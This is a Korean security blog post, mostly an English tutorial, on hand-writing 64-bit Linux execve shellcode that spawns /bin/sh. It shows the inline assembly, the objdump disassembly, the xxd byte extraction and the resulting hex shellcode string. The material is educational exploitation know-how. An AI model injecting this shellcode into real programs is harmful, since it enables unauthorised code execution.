멍청하게 손으로 쉘코드를 일일이 치지말자
Some assembly required
We begin our journey by writing assembly to launch a shell via the execve system call.
For backwards compatibility, 32-bit Linux system calls are supported in 64-bit Linux, so we might think we can reuse shellcode targeted for 32-bit systems. However, the execve syscall takes a memory address holding the NUL-terminated name of the program that should be executed. Our shellcode might be injected someplace that requires us to refer to memory addresses larger than 32 bits. Thus we must use 64-bit system calls.
The following may aid those accustomed to 32-bit assembly.
32-bit syscall | 64-bit syscall | |
---|---|---|
instruction | int $0x80 | syscall |
syscall number | EAX, e.g. execve = 0xb | RAX, e.g. execve = 0x3b |
up to 6 inputs | EBX, ECX, EDX, ESI, EDI, EBP | RDI, RSI, RDX, R10, R8, R9 |
over 6 inputs | in RAM; EBX points to them | forbidden |
example | mov $0xb, %eax lea string_addr, %ebx mov $0, %ecx mov $0, %edx int $0x80 | mov $0x3b, %rax lea string_addr, %rdi mov $0, %rsi mov $0, %rdx syscall |
We inline our assembly code in a C file, which we call shell.c:
int main() { asm("\ needle0: jmp there\n\ here: pop %rdi\n\ xor %rax, %rax\n\ movb $0x3b, %al\n\ xor %rsi, %rsi\n\ xor %rdx, %rdx\n\ syscall\n\ there: call here\n\ .string \"/bin/sh\"\n\ needle1: .octa 0xdeadbeef\n\ "); }
No matter where in memory our code winds up, the call-pop trick will load the RDI register with the address of the "/bin/sh" string.
The needle0 and needle1 labels are to aid searches later on; so is the0xdeadbeef constant (though since x86 is little-endian, it will show up as EF BE AD DE followed by 4 zero bytes).
For simplicity, we’re using the API incorrectly; the second and third arguments to execve are supposed to point to NULL-terminated arrays of pointers to strings (argv[] and envp[]). However, our system is forgiving: running "/bin/sh" with NULL argv and envp succeeds:
ubuntu:~$ gcc shell.c ubuntu:~$ ./a.out $
In any case, adding argv and envp arrays is straightforward.
The shell game
We extract the payload we wish to inject. Let’s examine the machine code:
$ objdump -d a.out | sed -n '/needle0/,/needle1/p' 00000000004004bf <needle0>: 4004bf: eb 0e jmp 4004cf <there> 00000000004004c1 <here>: 4004c1: 5f pop %rdi 4004c2: 48 31 c0 xor %rax,%rax 4004c5: b0 3b mov $0x3b,%al 4004c7: 48 31 f6 xor %rsi,%rsi 4004ca: 48 31 d2 xor %rdx,%rdx 4004cd: 0f 05 syscall 00000000004004cf <there>: 4004cf: e8 ed ff ff ff callq 4004c1 <here> 4004d4: 2f (bad) 4004d5: 62 (bad) 4004d6: 69 6e 2f 73 68 00 ef imul $0xef006873,0x2f(%rsi),%ebp 00000000004004dc <needle1>:
On 64-bit systems, the code segment is usually placed at 0x400000, so in the binary, our code lies starts at offset 0x4bf and finishes right before offset 0x4dc. This is 29 bytes:
$ echo $((0x4dc-0x4bf)) 29
We round this up to the next multiple of 8 to get 32, then run:
$ xxd -s0x4bf -l32 -p a.out shellcode
Let’s take a look:
$ cat shellcode eb0e5f4831c0b03b4831f64831d20f05e8edffffff2f62696e2f736800ef bead
'System_Hacking' 카테고리의 다른 글
SPI 통신으로 firmware dump 뜨기 (0) | 2016.02.21 |
---|---|
QEMU 돌릴때 포트포워딩 옵션 (0) | 2016.02.21 |
call, leave, ret assembly (0) | 2015.09.11 |
Android stageFright RCE exploit (0) | 2015.09.10 |
ARM32 netcat static compile (0) | 2015.09.02 |